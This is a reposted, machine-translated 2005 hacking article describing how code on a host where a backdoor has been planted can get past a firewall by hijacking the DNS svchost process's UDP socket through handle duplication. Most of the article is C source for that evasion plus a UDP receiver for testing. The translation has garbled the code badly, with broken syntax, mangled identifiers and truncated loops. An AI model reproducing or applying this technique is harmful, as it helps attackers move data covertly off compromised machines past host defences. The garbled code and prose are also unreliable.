(Reproduced) a new data transmission technology of penetrating firewall

xiaoxiao2021-03-05  24

A new data transmission technology for penetrating firewalls is transferred from:

http://www.xfocus.net/articles/200504/791.html

Created: 2005-04-13 Updated: 2005-04-13

Article attribute: original

Article submission:

SUEI8423 (SUEI8423_AT_163.COM)

Data transmission technology of new penetrating firewall

Author: zwell

Email: zwell@sohu.com

Date: 2005.4.12

Use this technical background:

After the target host plays the back door, it is necessary to transfer the data, and the data is very important. The action cannot be too big. The other situation "serious" is not recommended to use this technology (later I will talk about why).

For some cases of the current firewall, if your process opens a port (even new sockets), it must be stopped.

On the contrary, we are also very clear: the process being verified by the firewall will never be blocked when transmitting data. So, my idea is very simple:

Take the socket handle that allows data transfer in other processes to be used. The process is as follows:

1. Find the target process

2. Find the Socket handle

2. Use the duplicateHandle () function to convert its Socket to it can be used by yourself.

3. Data transfer with the converted Socket

The above process is written very simple, but actually realizes some problems (followed by discussing). And from the above implementation method

It can be seen that some uncomfortable places: Socket in the target process cannot be TCP, because the handle of TCP has established a connection outside, so it can only be UDP.

It is difficult to locate a stable process socket for different systems.

Seeing these, you have a little false, haha. Think about it again, in fact, we have a true Tong Roman "Gold Avenue".

We know that as long as a computer has connected the network, there is a data transfer is definitely not intercepted, that is, DNS. You can imagine domain name resolution data

Is it caused by the result? Hey, since this is never stopped, and it is UDP transmission, we will take him with him ...

Below is an example of data transmission by directing DNS processes (actually SVCHOST.exe, but the user name is NetWork Service).

There have been many problems in the programming, rather than if you get the svchost corresponding to the username (but you can operate the local service), you will stop running when you perform GetSockName when the handle value is 0x2c.

For specific solution, please see the notes part ...

/ *

Made by Zwell

Zwell@sohu.com

2005.4.12

- * /

#include

#include

#include

#pragma comment (Lib, "WS2_32")

#pragma comment (Lib, "WTSAPI32")

#define nt_success (status) (status)> = 0)

#DEFINE STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004L)

TypedEf long NTSTATUS;

Typedef struct _system_handle_information

{

Ulong processid;

Uchar ObjectTypenumber;

Uchar flags;

Ushort handle;

PVOID Object;

Access_mask grantedAccess;

} System_handle_information, * psystem_handle_information;

Typedef Ulong (WinApi * ZwQuerySystemInformation) (Ulong, Pvoid, Ulong, Pulong); ZwQuerySystemInformation ZwQuerySystemInformation = NULL;

Bool LocatedllenTry (Void)

{

BOOL RET = FALSE;

Char NTDLL_DLL [] = "ntdll.dll";

HModule NTDLL_DLL = NULL;

IF ((NTDLL_DLL = getModuleHandle (NTDLL_DLL)) == NULL)

{

Printf ("GetModuleHandle () Failed");

Return (False);

}

IF (! (zwQuerySystemInformation) getProcadDress (NTDLL_DLL, ZWQUERYSYSTEMINFORMATION)))))

{

Goto LocatedllenTry_Exit;

}

Ret = true;

LocatentdllenTry_exit:

IF (false == RET)

{

PRINTF ("GetProcadDress () Failed");

}

NTDLL_DLL = NULL;

Return (RET);

}

/ *

This Routine is used to get a process's username from it's sid

- * /

Bool getusernamefromsid (psid pusersid, char * szusername)

{

// Sanity Checks and Default Value

IF (PUSERSID == NULL)

Return False;

STRCPY (SZUSERNAME, "?");

SID_NAME_USE SNU;

Tchar Szuser [_MAX_PATH];

DWORD chuser = _max_path;

PDWORD PCCHUSER = & chuse;

Tchar szdomain [_MAX_PATH];

DWORD chDOMAIN = _MAX_PATH;

PDWORD PCCHDOMAIN = & chDOMAIN;

// Retrieve User name and domain name based on the user's SID.

IF

:: Lookupaccountsid

NULL,

PUSERSID,

Szuser,

PCCHUSER,

Szdomain,

PCCHDOMAIN,

& snu

)

)

{

WSPrintf (SzuserName, "% s", szuser);

}

Else

{

Return False;

}

Return True;

}

/ *

This routine is buy to get the dns process's id

Here, I Use wtsenumerateprocesses to get process User SID,

And the Get The Process User Name. Beacause As It's A "Network Service", We cann't Use OpenProcessToken To Catch The DNS Process's token Information,

Even if we have the privilege in catching the system.

- * /

DWORD getDNSProcessID ()

{

PWTS_PROCESS_INFO PPROCESSINFO = NULL;

DWORD processCount = 0;

Char szusername [255];

DWORD ID = -1;

IF (WTSenumerateProcesses (WTS_Current_Server_Handle, 0, 1, & PProcessinfo, & ProcessCount))

{

// Dump Each Process Description

For (DWORD CURRENTPROCESS = 0; CurrentProcess

{

IF (strcmp (pprocessinfo [currentprocess] .pprocessname, "svchost.exe") == 0)

{

GetUsernamefromsid (pprocessinfo [currentprocess] .pusersid, szusername);

IF (StrCMP (SzuserName, "Network Service") == 0)

{

ID = PPROCESSINFO [CURRENTPROCESS] .ProcessId;

Break;

}

}

}

WTSFreeMemory (PPRocessInfo);

}

Return ID;

}

/ *

This Doesn't Work As We know, Sign ...

But you can use the routine for other users ...

- * /

/ *

Bool getProcessUserFromid (Char * Szaccountname, DWORD PID)

{

Handle HProcess = NULL,

Haccesstoken = NULL;

TCHAR Infobuffer [1000], SZDomainName [200];

Ptoken_user ptokenuser = (ptoken_user) Infobuffer;

DWORD DWINFOBUFFERSIZE, DWACCOUNTSIZE = 200, DWDOMAINSIZE = 200;

SID_NAME_USE SNU;

HProcess = OpenProcess (Process_Query_Information, False, PID);

IF (hprocess == null)

{

Printf ("OpenProcess Wrong");

CloseHandle (HPROCESS);

Return False;

}

IF (0 == OpenProcessToken (HProcess, Token_Query, & HaccessToken))

{

Printf ("OpenProcesstoken Wrong:% 08X", getLastError ());

Return False;

}

GetTokenInformation (HaccessToken, Tokenuser, Infobuffer,

1000, & dwinfobuffersize);

Lookupaccountsid (null, ptokenuser-> user.sid, szaccountname,

& dwaccountsize, szdomainname, & dwdomainsize, & snu);

IF (HProcess)

CloseHandle (HPROCESS);

IF (HaccessToken)

CloseHandle (HaccessToken);

Return True;

} * /

/ *

Now, IT is the Most Important Stuff ... ^ _ ^

- * /

Socket GetSocketFromid (DWORD PID)

{

NTSTATUS STATUS;

PVOID BUF = NULL;

Ulong size = 1;

Ulong Numofhandle = 0;

Ulong i;

Psystem_handle_information h_info = null;

Handle Sock = NULL;

DWORD N;

BUF = malloc (0x1000);

IF (buf == NULL)

{

Printf ("Malloc WRONG / N");

Return NULL;

}

Status = ZwQuerySystemInformation (0x10, buf, 0x1000, & n);

IF (status_info_length_mismatch == status)

{

Free (BUF);

BUF = malloc (n);

IF (buf == NULL)

{

Printf ("Malloc WRONG / N");

Return NULL;

}

Status = ZwQuerySystemInformation (0x10, buf, n, null);

}

Else

{

Printf ("ZWQuerySystemInformation Wrong / N);

Return NULL;

}

Numofhandle = * (ulong *) BUF;

H_INFO = (psystem_handle_information) ((Ulong) BUF 4);

For (i = 0; i

{

Try

{

IF ((h_info [i] .processid == PID) && (h_info [i] .ObjectTypenumber == 0x1c)

&& (h_info [i] .handle! = 0x2c) // i don't know why if the handle equal to 0x2c, in my test, IT Stops At getsockname ()

// SO i jump over this situation ...

// May Be it's Different in Your System,

) // wind2000 is 0x1a

{

// Printf ("Handle: 0x% x Type: 08x / N", H_INFO [I] .Handle, H_INFO [I] .ObjectTypenumber; if (0 == DuplicateHandle)

OpenProcess (Process_all_access, true, pid),

(Handle) h_info [i] .handle,

GetCurrentProcess (),

& sock,

STANDARD_RIGHTS_REQUIRED,

True,

Duplicate_same_access)

)

{

Printf ("DuplicateHandle Wrong:% 8X", getLastError ());

CONTINUE;

}

// Printf ("DuplicateHandle OK / N");

SockAddr_in name = {0};

Name.sin_family = AF_INET;

INT Namelen = Sizeof (SockAddr_in);

GetSockName ((Socket) Sock, (SockAddr *) & name, & namelen;

// Printf ("Port =% 5D / N", NTOHS (Name.sin_Port);

IF (ntohs (name.sin_port)> 0) // if port> 0, Then We can use it

Break;

}

}

Catch (...)

{

CONTINUE;

}

}

IF (buf! = NULL)

{

Free (BUF);

}

Return (Socket) SOCK;

}

/ *

This is not required ...

- * /

BOOL EnablePrivilege (PCSTR Name)

{

Handle htokeen;

BOOL RV;

Token_Privileges Priv = {1, {0, 0, SE_PRIVILEGE_ENABLED}}

LookuppprivileGeValue

0,

Name,

& privileges [0] .luid

);

Priv.privileges [0] .attributes = se_privilege_enabled;

OpenProcesstoken

GetCurrentProcess (),

Token_Adjust_Privileges,

& htokeen

);

AdjustTokenPrivileges

Htoken,

False,

& priv,

SizeOf Priv,

0,

0

);

RV = getLastError () == Error_suCcess;

CloseHandle (HTOKEN);

Return RV;

}

void main ()

{

Wsadata wsadata;

Char testbuf [255];

Socket sock;

SockAddr_in recvaddr;

INT IRESULT = WSASTARTUP (Makeword (2, 2), & WSADATA);

IF (IRESULT! = NO_ERROR)

Printf ("Error AT WSAStartup () / N");

IF (! locatentdllentry ())

Return;

IF (! EnablePrivilege))

{

Printf ("EnablePrivilege Wrong / N");

Return;

}

Sock = getSocketFromid (getDNSProcessid ());

IF (Sock == Null)

{

Printf ("GetSocketFromid WRONG / N);

Return;

}

// Change There Value ...

Recvaddr.sin_family = af_INet;

Recvaddr.sin_port = htons (5555);

Recvaddr.sin_addr.s_addr = INET_ADDR ("127.0.0.1");

IF (socket_error == sendto (SOCK,

"TEST",

5,

0,

(SockAddr *) & recaddr,

SizeOf (Recvaddr))))))

{

Printf ("Sendto Wrong:% D / N", wsagetlasterror ());

}

Else

{

Printf ("Send Ok ... Have Fun, Right? ^ _ ^ / N");

}

GetChar ();

// wsacleanup ();

Return;

}

I have this idea very early, but I haven't been implemented. In the above code,

Because the DNS process handle is to be found, SVCHOST.EXE has multiple, so it is judged by the user name, which is originally openprocessToken.

But why can't you, so change a method. Use the WTSAPI32 library function.

Use the following code test:

/ *

UDPRECEIVER

- * /

#include

#include "winsock2.h"

#pragma comment (Lib, "WS2_32")

void main ()

{

Wsadata wsadata;

Socket recsocket;

SockAddr_in recvaddr;

INT port = 5555;

Char recvbuf [1024];

INT buflen = 1024;

SockAddr_in senddr;

INT sentdrsize = sizeof (senderaddr);

// -----------------------------------------------

// Initialize Winsock

WSASTARTUP (Makeword (2, 2), & WSADATA);

// -----------------------------------------------

// Create a received Socket To Receive DataGrams

Recvsocket = Socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);

// -----------------------------------------------

// bind the socket to any address and the specified port.

Recvaddr.sin_family = af_INet;

Recvaddr.sin_port = htons (port);

Recvaddr.sin_addr.s_addr = HTONL (INADDR_ANY);

Bind (Recvsocket, (SockAddr *) & Recvaddr, Sizeof (Recvaddr));

// -----------------------------------------------

// Call the recvfrom function to receive data

// on the bound socket.printf ("Receiving DataGrams ... / N");

While (1)

{

Recvfrom (Recvsocket,

Recvbuf,

Bufflen,

0,

(SockAddr *) & senderaddr,

& Senderaddrsize;

Printf ("% s / n", recvbuf;

}

// -----------------------------------------------

// Close the socket when finished receiving data

Printf ("Finished Receiving. Closing Socket./N");

CloseSocket (Recvsocket);

// -----------------------------------------------

// Clean Up and exit.

Printf ("exiting./N");

WSACLEANUP ();

Return;

}

Test steps:

1. Execute UDPRecEiver on a machine,

2. Perform the first program on the machine where the firewall is installed.

What is the problem, I hope everyone can exchange communication ... ^ _ ^

转载请注明原文地址:https://www.9cbs.com/read-36200.html

New Post(0)